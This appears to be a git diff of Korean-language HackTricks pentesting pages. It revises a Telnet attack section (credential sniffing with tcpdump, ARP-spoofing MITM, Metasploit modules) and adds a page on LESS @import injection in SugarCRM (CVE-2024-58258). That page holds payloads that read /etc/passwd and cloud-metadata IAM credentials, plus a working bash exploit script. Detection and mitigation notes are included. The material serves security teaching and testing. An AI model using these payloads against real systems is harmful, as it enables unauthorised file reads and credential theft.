CVEλ₯Ό 염두에 λ‘μ‹­μ‹œμ˜€β€”λŒ€μƒμ΄ νŒ¨μΉ˜λ˜μ§€ μ•Šμ€ νŽŒμ›¨μ–΄ λ˜λŠ” λ ˆκ±°μ‹œ inetutils Telnet 데λͺ¬μ„ μ‹€ν–‰ 쀑이라면 μ½”λ“œ μ‹€ν–‰ λ˜λŠ” λ°©ν•΄κ°€ λ˜λŠ” DoS둜의 직선 κ²½λ‘œκ°€ μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€. +취약점 λΆ„λ₯˜ 쀑 μ΄λŸ¬ν•œ CVEλ₯Ό 염두에 λ‘μ‹­μ‹œμ˜€. λŒ€μƒμ΄ νŒ¨μΉ˜λ˜μ§€ μ•Šμ€ νŽŒμ›¨μ–΄ λ˜λŠ” λ ˆκ±°μ‹œ inetutils Telnet 데λͺ¬μ„ μ‹€ν–‰ 쀑이라면 μ½”λ“œ μ‹€ν–‰ λ˜λŠ” λ°©ν•΄κ°€ λ˜λŠ” DoS둜의 직선 κ²½λ‘œκ°€ μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€. ### Sniffing Credentials & Man-in-the-Middle -Telnet은 자격 증λͺ…을 ν¬ν•¨ν•œ λͺ¨λ“  것을 **λͺ…ν™•ν•œ ν…μŠ€νŠΈ**둜 μ „μ†‘ν•©λ‹ˆλ‹€. 자격 증λͺ…을 μΊ‘μ²˜ν•˜λŠ” 두 κ°€μ§€ λΉ λ₯Έ 방법: +Telnet은 자격 증λͺ…을 ν¬ν•¨ν•œ λͺ¨λ“  것을 **λͺ…ν™•ν•œ ν…μŠ€νŠΈ**둜 μ „μ†‘ν•©λ‹ˆλ‹€. 이λ₯Ό μΊ‘μ²˜ν•˜λŠ” 두 κ°€μ§€ λΉ λ₯Έ 방법: ```bash # Live capture with tcpdump (print ASCII) sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)' @@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " # Wireshark display filter tcp.port == 23 && (telnet.data || telnet.option) ``` -ν™œμ„± MITM의 경우, ARP μŠ€ν‘Έν•‘(예: `arpspoof`/`ettercap`)을 λ™μΌν•œ μŠ€λ‹ˆν•‘ 필터와 κ²°ν•©ν•˜μ—¬ μŠ€μœ„μΉ˜ λ„€νŠΈμ›Œν¬μ—μ„œ λΉ„λ°€λ²ˆν˜Έλ₯Ό μˆ˜μ§‘ν•©λ‹ˆλ‹€. +ν™œμ„± MITM의 경우, ARP μŠ€ν‘Έν•‘(e.g. `arpspoof`/`ettercap`)을 λ™μΌν•œ μŠ€λ‹ˆν•‘ 필터와 κ²°ν•©ν•˜μ—¬ μŠ€μœ„μΉ˜ λ„€νŠΈμ›Œν¬μ—μ„œ λΉ„λ°€λ²ˆν˜Έλ₯Ό μˆ˜μ§‘ν•©λ‹ˆλ‹€. ### μžλ™ν™”λœ 무차별 λŒ€μž… / λΉ„λ°€λ²ˆν˜Έ μŠ€ν”„λ ˆμ΄λ§ ```bash @@ -109,18 +109,18 @@ Metasploitμ—λŠ” μ—¬λŸ¬ μœ μš©ν•œ λͺ¨λ“ˆμ΄ μžˆμŠ΅λ‹ˆλ‹€: * `auxiliary/scanner/telnet/telnet_encrypt_overflow` – μ·¨μ•½ν•œ Solaris 9/10 Telnet에 λŒ€ν•œ RCE (μ˜΅μ…˜ ENCRYPT 처리). * `exploit/linux/mips/netgear_telnetenable` – λ§Žμ€ NETGEAR λΌμš°ν„°μ—μ„œ μ‘°μž‘λœ νŒ¨ν‚·μœΌλ‘œ telnet μ„œλΉ„μŠ€λ₯Ό ν™œμ„±ν™”ν•©λ‹ˆλ‹€. -μ‰˜μ„ 얻은 ν›„ **TTYλŠ” 일반적으둜 λ©μ²­ν•˜λ‹€λŠ” 것을 κΈ°μ–΅ν•˜μ„Έμš”**; `python -c 'import pty;pty.spawn("/bin/bash")'`둜 μ—…κ·Έλ ˆμ΄λ“œν•˜κ±°λ‚˜ [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md)λ₯Ό μ‚¬μš©ν•˜μ„Έμš”. +μ‰˜μ„ 얻은 ν›„ **TTYλŠ” 일반적으둜 λ‹¨μˆœν•˜λ‹€λŠ” 것을 κΈ°μ–΅ν•˜μ„Έμš”**; `python -c 'import pty;pty.spawn("/bin/bash")'`둜 μ—…κ·Έλ ˆμ΄λ“œν•˜κ±°λ‚˜ [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md)λ₯Ό μ‚¬μš©ν•˜μ„Έμš”. ### Hardening & Detection (Blue team corner) 1. SSHλ₯Ό μ„ ν˜Έν•˜κ³  Telnet μ„œλΉ„μŠ€λ₯Ό μ™„μ „νžˆ λΉ„ν™œμ„±ν™”ν•˜μ„Έμš”. 2. Telnet이 ν•„μš”ν•œ 경우 관리 VLANμ—λ§Œ λ°”μΈλ”©ν•˜κ³  ACL을 μ μš©ν•˜λ©° 데λͺ¬μ„ TCP 래퍼둜 κ°μ‹Έμ„Έμš” (`/etc/hosts.allow`). 3. λ ˆκ±°μ‹œ `telnetd` κ΅¬ν˜„μ„ `ssl-telnet` λ˜λŠ” `telnetd-ssl`둜 κ΅μ²΄ν•˜μ—¬ 전솑 μ•”ν˜Έν™”λ₯Ό μΆ”κ°€ν•˜λ˜, **μ΄λŠ” 데이터 전솑 쀑 보호만 μ œκ³΅ν•˜λ©° λΉ„λ°€λ²ˆν˜Έ 좔츑은 μ—¬μ „νžˆ κ°„λ‹¨ν•©λ‹ˆλ‹€**. -4. 포트 23으둜의 μ•„μ›ƒλ°”μš΄λ“œ νŠΈλž˜ν”½μ„ λͺ¨λ‹ˆν„°λ§ν•˜μ„Έμš”; νƒ€ν˜‘μ€ μ’…μ’… μ—„κ²©ν•œ HTTP μ΄νƒˆ ν•„ν„°λ₯Ό μš°νšŒν•˜κΈ° μœ„ν•΄ Telnet을 톡해 λ¦¬λ²„μŠ€ μ‰˜μ„ μƒμ„±ν•©λ‹ˆλ‹€. +4. 포트 23으둜의 μ•„μ›ƒλ°”μš΄λ“œ νŠΈλž˜ν”½μ„ λͺ¨λ‹ˆν„°λ§ν•˜μ„Έμš”; νƒ€ν˜‘μ€ μ’…μ’… μ—„κ²©ν•œ HTTP 이그레슀 ν•„ν„°λ₯Ό μš°νšŒν•˜κΈ° μœ„ν•΄ Telnet을 톡해 λ¦¬λ²„μŠ€ μ‰˜μ„ μƒμ„±ν•©λ‹ˆλ‹€. ## References * D-Link Advisory – CVE-2024-45698 Critical Telnet RCE. * NVD – CVE-2022-39028 inetutils `telnetd` DoS. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/less-code-injection-ssrf.md b/src/pentesting-web/less-code-injection-ssrf.md new file mode 100644 index 000000000..2767f464c --- /dev/null +++ b/src/pentesting-web/less-code-injection-ssrf.md @@ -0,0 +1,75 @@ +# LESS Code Injection leading to SSRF & Local File Read + +{{#include ../banners/hacktricks-training.md}} + +## κ°œμš” + +LESSλŠ” λ³€μˆ˜, 믹슀인, ν•¨μˆ˜ 및 κ°•λ ₯ν•œ `@import` μ§€μ‹œμ–΄λ₯Ό μΆ”κ°€ν•˜λŠ” 인기 μžˆλŠ” CSS μ „μ²˜λ¦¬κΈ°μž…λ‹ˆλ‹€. 컴파일 쀑에 LESS 엔진은 **`@import`** λ¬Έμ—μ„œ 참쑰된 λ¦¬μ†ŒμŠ€λ₯Ό **κ°€μ Έμ™€μ„œ** `(inline)` μ˜΅μ…˜μ΄ μ‚¬μš©λ  λ•Œ κ²°κ³Ό CSS에 κ·Έ λ‚΄μš©μ„ ν¬ν•¨ν•©λ‹ˆλ‹€. + +μ‘μš© ν”„λ‘œκ·Έλž¨μ΄ **μ‚¬μš©μž μ œμ–΄ μž…λ ₯**을 LESS μ»΄νŒŒμΌλŸ¬μ— μ˜ν•΄ λ‚˜μ€‘μ— ꡬ문 λΆ„μ„λ˜λŠ” λ¬Έμžμ—΄μ— μ—°κ²°ν•  λ•Œ, κ³΅κ²©μžλŠ” **μž„μ˜μ˜ LESS μ½”λ“œλ₯Ό μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€**. `@import (inline)`을 μ•…μš©ν•˜μ—¬ κ³΅κ²©μžλŠ” μ„œλ²„κ°€ λ‹€μŒμ„ κ²€μƒ‰ν•˜λ„λ‘ κ°•μ œν•  수 μžˆμŠ΅λ‹ˆλ‹€: + +* `file://` ν”„λ‘œν† μ½œμ„ ν†΅ν•œ 둜컬 파일 (정보 유좜 / 둜컬 파일 포함). +* λ‚΄λΆ€ λ„€νŠΈμ›Œν¬ λ˜λŠ” ν΄λΌμš°λ“œ 메타데이터 μ„œλΉ„μŠ€μ˜ 원격 λ¦¬μ†ŒμŠ€ (SSRF). + +이 κΈ°μˆ μ€ **SugarCRM ≀ 14.0.0** (`/rest/v10/css/preview` μ—”λ“œν¬μΈνŠΈ)와 같은 μ‹€μ œ μ œν’ˆμ—μ„œ λ°œκ²¬λ˜μ—ˆμŠ΅λ‹ˆλ‹€. + +## μ•…μš© + +1. LESS 엔진에 μ˜ν•΄ μ²˜λ¦¬λ˜λŠ” μŠ€νƒ€μΌμ‹œνŠΈ λ¬Έμžμ—΄μ— 직접 ν¬ν•¨λœ λ§€κ°œλ³€μˆ˜λ₯Ό μ‹λ³„ν•©λ‹ˆλ‹€ (예: SugarCRM의 `?lm=`). +2. ν˜„μž¬ 문을 λ‹«κ³  μƒˆλ‘œμš΄ μ§€μ‹œμ–΄λ₯Ό μ£Όμž…ν•©λ‹ˆλ‹€. κ°€μž₯ 일반적인 μ›μ‹œ μš”μ†ŒλŠ”: +* `;` – 이전 선언을 μ’…λ£Œν•©λ‹ˆλ‹€. +* `}` – 이전 블둝을 λ‹«μŠ΅λ‹ˆλ‹€ (ν•„μš”ν•œ 경우). +3. `@import (inline) '';`λ₯Ό μ‚¬μš©ν•˜μ—¬ μž„μ˜μ˜ λ¦¬μ†ŒμŠ€λ₯Ό μ½μŠ΅λ‹ˆλ‹€. +4. μ„ νƒμ μœΌλ‘œ κ°€μ Έμ˜¨ λ‚΄μš©μ„ 컴파일된 CSSμ—μ„œ μ‰½κ²Œ μΆ”μΆœν•  수 μžˆλ„λ‘ κ°€μ Έμ˜€κΈ° 후에 **마컀** (`data:` URI)λ₯Ό μ£Όμž…ν•©λ‹ˆλ‹€. + +### 둜컬 파일 읽기 +``` +1; @import (inline) 'file:///etc/passwd'; +@import (inline) 'data:text/plain,@@END@@'; // +``` +`/etc/passwd`의 λ‚΄μš©μ€ `@@END@@` 마컀 λ°”λ‘œ μ•žμ— HTTP 응닡에 λ‚˜νƒ€λ‚©λ‹ˆλ‹€. + +### SSRF – ν΄λΌμš°λ“œ 메타데이터 +``` +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; +@import (inline) 'data:text/plain,@@END@@'; // +``` +### μžλ™ν™”λœ PoC (SugarCRM 예제) +```bash +#!/usr/bin/env bash +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd + +TARGET="$1" # Base URL of SugarCRM instance +RESOURCE="$2" # file:// path or URL to fetch + +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") + +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ +sed -n 's/.*@@END@@\(.*\)/\1/p' +``` +## Detection + +* λ™μ μœΌλ‘œ μƒμ„±λœ `.less` λ˜λŠ” `.css` μ‘λ‹΅μ—μ„œ λΉ„μ •μ œ 쿼리 λ§€κ°œλ³€μˆ˜λ₯Ό μ°ΎμœΌμ‹­μ‹œμ˜€. +* μ½”λ“œ κ²€ν†  쀑에 LESS λ Œλ” ν•¨μˆ˜μ— μ „λ‹¬λœ `"@media all { .preview { ... ${userInput} ... } }"`와 같은 ꡬ성을 κ²€μƒ‰ν•˜μ‹­μ‹œμ˜€. +* μ΅μŠ€ν”Œλ‘œμž‡ μ‹œλ„μ—λŠ” μ’…μ’… `@import`, `(inline)`, `file://`, `http://169.254.169.254` 등이 ν¬ν•¨λ©λ‹ˆλ‹€. + +## Mitigations + +* μ‹ λ’°ν•  수 μ—†λŠ” 데이터λ₯Ό LESS μ»΄νŒŒμΌλŸ¬μ— μ „λ‹¬ν•˜μ§€ λ§ˆμ‹­μ‹œμ˜€. +* 동적 값이 ν•„μš”ν•œ 경우, μ μ ˆν•˜κ²Œ **μ΄μŠ€μΌ€μ΄ν”„**/μ •μ œν•˜μ‹­μ‹œμ˜€ (예: 숫자 ν† ν°μœΌλ‘œ μ œν•œ, ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ). +* κ°€λŠ₯ν•  경우 `(inline)` μž„ν¬νŠΈλ₯Ό μ‚¬μš©ν•  수 μžˆλŠ” κΈ°λŠ₯을 λΉ„ν™œμ„±ν™”ν•˜κ±°λ‚˜ ν—ˆμš©λœ ν”„λ‘œν† μ½œμ„ `https`둜 μ œν•œν•˜μ‹­μ‹œμ˜€. +* 쒅속성을 μ΅œμ‹  μƒνƒœλ‘œ μœ μ§€ν•˜μ‹­μ‹œμ˜€ – SugarCRM은 13.0.4 및 14.0.1 λ²„μ „μ—μ„œ 이 문제λ₯Ό νŒ¨μΉ˜ν–ˆμŠ΅λ‹ˆλ‹€. + +## Real-World Cases + +| Product | Vulnerable Endpoint | Impact | +|---------|--------------------|--------| +| SugarCRM ≀ 14.0.0 | `/rest/v10/css/preview?lm=` | μΈμ¦λ˜μ§€ μ•Šμ€ SSRF 및 둜컬 파일 읽기 | + +## References + +* [SugarCRM ≀ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) +* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index 6b3102dd9..b97fe846e 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -2,6 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -ν™•μΈν•˜μ‹­μ‹œμ˜€ **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** +Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** + +- SugarCRM ≀ 14.0.0 – LESS `@import` μ£Όμž…μ΄ `/rest/v10/css/preview`μ—μ„œ μΈμ¦λ˜μ§€ μ•Šμ€ SSRF 및 둜컬 파일 읽기λ₯Ό κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€. + +{{#ref}} +../less-code-injection-ssrf.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}